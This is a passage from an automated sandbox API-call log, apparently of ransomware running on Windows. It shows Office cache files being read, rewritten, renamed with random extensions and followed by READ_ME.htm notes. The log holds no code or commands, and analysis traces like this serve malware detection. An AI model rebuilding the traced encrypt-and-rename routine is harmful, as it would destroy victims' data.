Users\\{90160000-0117-0409-0000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml" (normalized: "c:\\msocache\\all users\\{90160000-0117-0409-0000-0000000ff1ce}-c\\access.en-us\\accessmui.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0136.204] GetFileType (hFile=0x1d0) returned 0x1 [0136.204] SetErrorMode (uMode=0x0) returned 0x1 [0136.204] GetFileType (hFile=0x1d0) returned 0x1 [0136.204] WriteFile (in: hFile=0x1d0, lpBuffer=0x2874518*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x21d3b8, lpOverlapped=0x0 | out: lpBuffer=0x2874518*, lpNumberOfBytesWritten=0x21d3b8*=0x5b0, lpOverlapped=0x0) returned 1 [0136.206] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-0117-0409-0000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml", nBufferLength=0x105, lpBuffer=0x21d170, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-0117-0409-0000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml", lpFilePart=0x0) returned 0x59 [0136.206] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-0117-0409-0000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml.769aog", nBufferLength=0x105, lpBuffer=0x21d170, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-0117-0409-0000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml.769aog", lpFilePart=0x0) returned 0x60 [0136.206] SetErrorMode (uMode=0x1) returned 0x0 [0136.206] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-0117-0409-0000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml" (normalized: "c:\\msocache\\all users\\{90160000-0117-0409-0000-0000000ff1ce}-c\\access.en-us\\accessmui.xml"), fInfoLevelId=0x0, lpFileInformation=0x21d3c0 | out: lpFileInformation=0x21d3c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd03ec950, ftCreationTime.dwHighDateTime=0x1d0cbb1, ftLastAccessTime.dwLowDateTime=0xd03ec950, ftLastAccessTime.dwHighDateTime=0x1d0cbb1, ftLastWriteTime.dwLowDateTime=0x4dbe3fe0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x5b0)) returned 1 [0136.206] SetErrorMode (uMode=0x0) returned 0x1 [0136.207] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90160000-0117-0409-0000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml" (normalized: "c:\\msocache\\all users\\{90160000-0117-0409-0000-0000000ff1ce}-c\\access.en-us\\accessmui.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90160000-0117-0409-0000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml.769aog" (normalized: "c:\\msocache\\all users\\{90160000-0117-0409-0000-0000000ff1ce}-c\\access.en-us\\accessmui.xml.769aog")) returned 1 [0136.207] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-0117-0409-0000-0000000FF1CE}-C\\Access.en-us\\branding.xml", nBufferLength=0x105, lpBuffer=0x21ced0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-0117-0409-0000-0000000FF1CE}-C\\Access.en-us\\branding.xml", lpFilePart=0x0) returned 0x58 [0136.208] SetErrorMode (uMode=0x1) returned 0x0 [0136.208] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90160000-0117-0409-0000-0000000FF1CE}-C\\Access.en-us\\branding.xml" (normalized: "c:\\msocache\\all users\\{90160000-0117-0409-0000-0000000ff1ce}-c\\access.en-us\\branding.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0136.211] GetFileType (hFile=0x1d0) returned 0x1 [0136.211] SetErrorMode (uMode=0x0) returned 0x1 [0136.211] GetFileType (hFile=0x1d0) returned 0x1 [0136.211] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d538 | out: lpFileSizeHigh=0x21d538*=0x0) returned 0x521b9 [0136.213] ReadFile (in: hFile=0x1d0, lpBuffer=0x129aeb28, nNumberOfBytesToRead=0x521b9, lpNumberOfBytesRead=0x21d418, lpOverlapped=0x0 | out: lpBuffer=0x129aeb28*, lpNumberOfBytesRead=0x21d418*=0x521b9, lpOverlapped=0x0) returned 1 [0136.320] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-0117-0409-0000-0000000FF1CE}-C\\Access.en-us\\branding.xml", nBufferLength=0x105, lpBuffer=0x21cee0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-0117-0409-0000-0000000FF1CE}-C\\Access.en-us\\branding.xml", lpFilePart=0x0) returned 0x58 [0136.320] SetErrorMode (uMode=0x1) returned 0x0 [0136.320] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90160000-0117-0409-0000-0000000FF1CE}-C\\Access.en-us\\branding.xml" (normalized: "c:\\msocache\\all users\\{90160000-0117-0409-0000-0000000ff1ce}-c\\access.en-us\\branding.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0136.324] GetFileType (hFile=0x1d0) returned 0x1 [0136.324] SetErrorMode (uMode=0x0) returned 0x1 [0136.325] GetFileType (hFile=0x1d0) returned 0x1 [0136.325] WriteFile (in: hFile=0x1d0, lpBuffer=0x127c0ba0*, nNumberOfBytesToWrite=0x521c0, lpNumberOfBytesWritten=0x21d498, lpOverlapped=0x0 | out: lpBuffer=0x127c0ba0*, lpNumberOfBytesWritten=0x21d498*=0x521c0, lpOverlapped=0x0) returned 1 [0136.348] CloseHandle (hObject=0x1d0) returned 1 [0136.357] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-0117-0409-0000-0000000FF1CE}-C\\Access.en-us\\branding.xml", nBufferLength=0x105, lpBuffer=0x21d170, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-0117-0409-0000-0000000FF1CE}-C\\Access.en-us\\branding.xml", lpFilePart=0x0) returned 0x58 [0136.357] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-0117-0409-0000-0000000FF1CE}-C\\Access.en-us\\branding.xml.oxal5s", nBufferLength=0x105, lpBuffer=0x21d170, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-0117-0409-0000-0000000FF1CE}-C\\Access.en-us\\branding.xml.oxal5s", lpFilePart=0x0) returned 0x5f [0136.358] SetErrorMode (uMode=0x1) returned 0x0 [0136.358] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-0117-0409-0000-0000000FF1CE}-C\\Access.en-us\\branding.xml" (normalized: "c:\\msocache\\all users\\{90160000-0117-0409-0000-0000000ff1ce}-c\\access.en-us\\branding.xml"), fInfoLevelId=0x0, lpFileInformation=0x21d3c0 | out: lpFileInformation=0x21d3c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2e1e12f0, ftCreationTime.dwHighDateTime=0x1d0ca7d, ftLastAccessTime.dwLowDateTime=0x2e1e12f0, ftLastAccessTime.dwHighDateTime=0x1d0ca7d, ftLastWriteTime.dwLowDateTime=0x4dd60da0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x521c0)) returned 1 [0136.358] SetErrorMode (uMode=0x0) returned 0x1 [0136.358] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90160000-0117-0409-0000-0000000FF1CE}-C\\Access.en-us\\branding.xml" (normalized: "c:\\msocache\\all users\\{90160000-0117-0409-0000-0000000ff1ce}-c\\access.en-us\\branding.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90160000-0117-0409-0000-0000000FF1CE}-C\\Access.en-us\\branding.xml.oxal5s" (normalized: "c:\\msocache\\all users\\{90160000-0117-0409-0000-0000000ff1ce}-c\\access.en-us\\branding.xml.oxal5s")) returned 1 [0136.359] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-0117-0409-0000-0000000FF1CE}-C\\Access.en-us\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cef0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-0117-0409-0000-0000000FF1CE}-C\\Access.en-us\\READ_ME.htm", lpFilePart=0x0) returned 0x57 [0136.359] SetErrorMode (uMode=0x1) returned 0x0 [0136.359] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90160000-0117-0409-0000-0000000FF1CE}-C\\Access.en-us\\READ_ME.htm" (normalized: "c:\\msocache\\all users\\{90160000-0117-0409-0000-0000000ff1ce}-c\\access.en-us\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0136.360] GetFileType (hFile=0x1d0) returned 0x1 [0136.360] SetErrorMode (uMode=0x0) returned 0x1 [0136.360] GetFileType (hFile=0x1d0) returned 0x1 [0136.360] WriteFile (in: hFile=0x1d0, lpBuffer=0x2816f28*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d458, lpOverlapped=0x0 | out: lpBuffer=0x2816f28*, lpNumberOfBytesWritten=0x21d458*=0x720, lpOverlapped=0x0) returned 1 [0136.362] CloseHandle (hObject=0x1d0) returned 1 [0136.362] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-0117-0409-0000-0000000FF1CE}-C\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cfb0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-0117-0409-0000-0000000FF1CE}-C\\READ_ME.htm", lpFilePart=0x0) returned 0x4a [0136.374] SetErrorMode (uMode=0x1) returned 0x0 [0136.374] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90160000-0117-0409-0000-0000000FF1CE}-C\\READ_ME.htm" (normalized: "c:\\msocache\\all users\\{90160000-0117-0409-0000-0000000ff1ce}-c\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0136.375] GetFileType (hFile=0x1d0) returned 0x1 [0136.375] SetErrorMode (uMode=0x0) returned 0x1 [0136.375] GetFileType (hFile=0x1d0) returned 0x1 [0136.375] WriteFile (in: hFile=0x1d0, lpBuffer=0x281b518*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d518, lpOverlapped=0x0 | out: lpBuffer=0x281b518*, lpNumberOfBytesWritten=0x21d518*=0x720, lpOverlapped=0x0) returned 1 [0136.376] CloseHandle (hObject=0x1d0) returned 1 [0136.376] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-012B-0409-0000-0000000FF1CE}-C", nBufferLength=0x105, lpBuffer=0x21d110, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-012B-0409-0000-0000000FF1CE}-C", lpFilePart=0x0) returned 0x3e [0136.377] SetErrorMode (uMode=0x1) returned 0x0 [0136.377] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-012B-0409-0000-0000000FF1CE}-C\\*" (normalized: "c:\\msocache\\all users\\{90160000-012b-0409-0000-0000000ff1ce}-c\\*"), lpFindFileData=0x21d2b0 | out: lpFindFileData=0x21d2b0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xd247f400, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd2563c40, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd2563c40, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0136.377] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xd247f400, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd2563c40, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd2563c40, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0136.378] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xce855bb0, ftCreationTime.dwHighDateTime=0x1d0cbc0, ftLastAccessTime.dwLowDateTime=0xce855bb0, ftLastAccessTime.dwHighDateTime=0x1d0cbc0, ftLastWriteTime.dwLowDateTime=0xd24c9f50, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x27cdde, dwReserved0=0x0, dwReserved1=0x0, cFileName="LyncMUI.cab", cAlternateFileName="")) returned 1 [0136.378] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x11d62a10, ftCreationTime.dwHighDateTime=0x1d0cbbd, ftLastAccessTime.dwLowDateTime=0x11d62a10, ftLastAccessTime.dwHighDateTime=0x1d0cbbd, ftLastWriteTime.dwLowDateTime=0xd247e460, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x247000, dwReserved0=0x0, dwReserved1=0x0, cFileName="LyncMUI.msi", cAlternateFileName="")) returned 1 [0136.378] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3894afb0, ftCreationTime.dwHighDateTime=0x1d0cbb2, ftLastAccessTime.dwLowDateTime=0x3894afb0, ftLastAccessTime.dwHighDateTime=0x1d0cbb2, ftLastWriteTime.dwLowDateTime=0xd247e460, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x4cb, dwReserved0=0x0, dwReserved1=0x0, cFileName="LyncMUI.xml", cAlternateFileName="")) returned 1 [0136.378] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x41cb0b50, ftCreationTime.dwHighDateTime=0x1d0cbd6, ftLastAccessTime.dwLowDateTime=0x41cb0b50, ftLastAccessTime.dwHighDateTime=0x1d0cbd6, ftLastWriteTime.dwLowDateTime=0xd2563c40, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x69a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0136.378] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x41cb0b50, ftCreationTime.dwHighDateTime=0x1d0cbd6, ftLastAccessTime.dwLowDateTime=0x41cb0b50, ftLastAccessTime.dwHighDateTime=0x1d0cbd6, ftLastWriteTime.dwLowDateTime=0xd2563c40, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x69a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0136.379] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0136.379] SetErrorMode (uMode=0x0) returned 0x1 [0136.379] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-012B-0409-0000-0000000FF1CE}-C", nBufferLength=0x105, lpBuffer=0x21d110, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-012B-0409-0000-0000000FF1CE}-C", lpFilePart=0x0) returned 0x3e [0136.380] SetErrorMode (uMode=0x1) returned 0x0 [0136.380] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-012B-0409-0000-0000000FF1CE}-C\\*" (normalized: "c:\\msocache\\all users\\{90160000-012b-0409-0000-0000000ff1ce}-c\\*"), lpFindFileData=0x21d2b0 | out: lpFindFileData=0x21d2b0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xd247f400, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd2563c40, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd2563c40, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0136.380] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xd247f400, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd2563c40, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd2563c40, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0136.380] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xce855bb0, ftCreationTime.dwHighDateTime=0x1d0cbc0, ftLastAccessTime.dwLowDateTime=0xce855bb0, ftLastAccessTime.dwHighDateTime=0x1d0cbc0, ftLastWriteTime.dwLowDateTime=0xd24c9f50, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x27cdde, dwReserved0=0x0, dwReserved1=0x0, cFileName="LyncMUI.cab", cAlternateFileName="")) returned 1 [0136.380] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x11d62a10, ftCreationTime.dwHighDateTime=0x1d0cbbd, ftLastAccessTime.dwLowDateTime=0x11d62a10, ftLastAccessTime.dwHighDateTime=0x1d0cbbd, ftLastWriteTime.dwLowDateTime=0xd247e460, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x247000, dwReserved0=0x0, dwReserved1=0x0, cFileName="LyncMUI.msi", cAlternateFileName="")) returned 1 [0136.381] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3894afb0, ftCreationTime.dwHighDateTime=0x1d0cbb2, ftLastAccessTime.dwLowDateTime=0x3894afb0, ftLastAccessTime.dwHighDateTime=0x1d0cbb2, ftLastWriteTime.dwLowDateTime=0xd247e460, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x4cb, dwReserved0=0x0, dwReserved1=0x0, cFileName="LyncMUI.xml", cAlternateFileName="")) returned 1 [0136.381] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x41cb0b50, ftCreationTime.dwHighDateTime=0x1d0cbd6, ftLastAccessTime.dwLowDateTime=0x41cb0b50, ftLastAccessTime.dwHighDateTime=0x1d0cbd6, ftLastWriteTime.dwLowDateTime=0xd2563c40, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x69a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0136.381] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x41cb0b50, ftCreationTime.dwHighDateTime=0x1d0cbd6, ftLastAccessTime.dwLowDateTime=0x41cb0b50, ftLastAccessTime.dwHighDateTime=0x1d0cbd6, ftLastWriteTime.dwLowDateTime=0xd2563c40, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x69a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0136.381] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0136.381] SetErrorMode (uMode=0x0) returned 0x1 [0136.382] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-012B-0409-0000-0000000FF1CE}-C\\LyncMUI.xml", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-012B-0409-0000-0000000FF1CE}-C\\LyncMUI.xml", lpFilePart=0x0) returned 0x4a [0136.382] SetErrorMode (uMode=0x1) returned 0x0 [0136.382] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90160000-012B-0409-0000-0000000FF1CE}-C\\LyncMUI.xml" (normalized: "c:\\msocache\\all users\\{90160000-012b-0409-0000-0000000ff1ce}-c\\lyncmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0136.382] GetFileType (hFile=0x1d0) returned 0x1 [0136.382] SetErrorMode (uMode=0x0) returned 0x1 [0136.382] GetFileType (hFile=0x1d0) returned 0x1 [0136.382] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d5f8 | out: lpFileSizeHigh=0x21d5f8*=0x0) returned 0x4cb [0136.382] ReadFile (in: hFile=0x1d0, lpBuffer=0x281efd0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x21d4d8, lpOverlapped=0x0 | out: lpBuffer=0x281efd0*, lpNumberOfBytesRead=0x21d4d8*=0x4cb, lpOverlapped=0x0) returned 1 [0136.397] CloseHandle (hObject=0x1d0) returned 1 [0136.474] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-012B-0409-0000-0000000FF1CE}-C\\LyncMUI.xml", nBufferLength=0x105, lpBuffer=0x21cfa0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-012B-0409-0000-0000000FF1CE}-C\\LyncMUI.xml", lpFilePart=0x0) returned 0x4a [0136.474] SetErrorMode (uMode=0x1) returned 0x0 [0136.474] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90160000-012B-0409-0000-0000000FF1CE}-C\\LyncMUI.xml" (normalized: "c:\\msocache\\all users\\{90160000-012b-0409-0000-0000000ff1ce}-c\\lyncmui.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0136.476] GetFileType (hFile=0x1d0) returned 0x1 [0136.476] SetErrorMode (uMode=0x0) returned 0x1 [0136.476] GetFileType (hFile=0x1d0) returned 0x1 [0136.476] WriteFile (in: hFile=0x1d0, lpBuffer=0x2901970*, nNumberOfBytesToWrite=0x4d0, lpNumberOfBytesWritten=0x21d478, lpOverlapped=0x0 | out: lpBuffer=0x2901970*, lpNumberOfBytesWritten=0x21d478*=0x4d0, lpOverlapped=0x0) returned 1 [0136.477] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-012B-0409-0000-0000000FF1CE}-C\\LyncMUI.xml", nBufferLength=0x105, lpBuffer=0x21d230, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-012B-0409-0000-0000000FF1CE}-C\\LyncMUI.xml", lpFilePart=0x0) returned 0x4a [0136.478] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-012B-0409-0000-0000000FF1CE}-C\\LyncMUI.xml.zln0j2", nBufferLength=0x105, lpBuffer=0x21d230, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-012B-0409-0000-0000000FF1CE}-C\\LyncMUI.xml.zln0j2", lpFilePart=0x0) returned 0x51 [0136.478] SetErrorMode (uMode=0x1) returned 0x0 [0136.478] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-012B-0409-0000-0000000FF1CE}-C\\LyncMUI.xml" (normalized: "c:\\msocache\\all users\\{90160000-012b-0409-0000-0000000ff1ce}-c\\lyncmui.xml"), fInfoLevelId=0x0, lpFileInformation=0x21d480 | out: lpFileInformation=0x21d480*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3894afb0, ftCreationTime.dwHighDateTime=0x1d0cbb2, ftLastAccessTime.dwLowDateTime=0x3894afb0, ftLastAccessTime.dwHighDateTime=0x1d0cbb2, ftLastWriteTime.dwLowDateTime=0x4de918a0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x4d0)) returned 1 [0136.478] SetErrorMode (uMode=0x0) returned 0x1 [0136.478] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90160000-012B-0409-0000-0000000FF1CE}-C\\LyncMUI.xml" (normalized: "c:\\msocache\\all users\\{90160000-012b-0409-0000-0000000ff1ce}-c\\lyncmui.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90160000-012B-0409-0000-0000000FF1CE}-C\\LyncMUI.xml.zln0j2" (normalized: "c:\\msocache\\all users\\{90160000-012b-0409-0000-0000000ff1ce}-c\\lyncmui.xml.zln0j2")) returned 1 [0136.493] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-012B-0409-0000-0000000FF1CE}-C\\Setup.xml", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-012B-0409-0000-0000000FF1CE}-C\\Setup.xml", lpFilePart=0x0) returned 0x48 [0136.493] SetErrorMode (uMode=0x1) returned 0x0 [0136.493] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90160000-012B-0409-0000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90160000-012b-0409-0000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0136.495] GetFileType (hFile=0x1d0) returned 0x1 [0136.496] SetErrorMode (uMode=0x0) returned 0x1 [0136.496] GetFileType (hFile=0x1d0) returned 0x1 [0136.496] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d5f8 | out: lpFileSizeHigh=0x21d5f8*=0x0) returned 0x69a [0136.496] ReadFile (in: hFile=0x1d0, lpBuffer=0x2903c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x21d4d8, lpOverlapped=0x0 | out: lpBuffer=0x2903c78*, lpNumberOfBytesRead=0x21d4d8*=0x69a, lpOverlapped=0x0) returned 1 [0136.519] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-012B-0409-0000-0000000FF1CE}-C\\Setup.xml", nBufferLength=0x105, lpBuffer=0x21cfa0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-012B-0409-0000-0000000FF1CE}-C\\Setup.xml", lpFilePart=0x0) returned 0x48 [0136.520] SetErrorMode (uMode=0x1) returned 0x0 [0136.520] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90160000-012B-0409-0000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90160000-012b-0409-0000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0136.521] GetFileType (hFile=0x1d0) returned 0x1 [0136.522] SetErrorMode (uMode=0x0) returned 0x1 [0136.522] GetFileType (hFile=0x1d0) returned 0x1 [0136.522] WriteFile (in: hFile=0x1d0, lpBuffer=0x29e6c10*, nNumberOfBytesToWrite=0x6a0, lpNumberOfBytesWritten=0x21d478, lpOverlapped=0x0 | out: lpBuffer=0x29e6c10*, 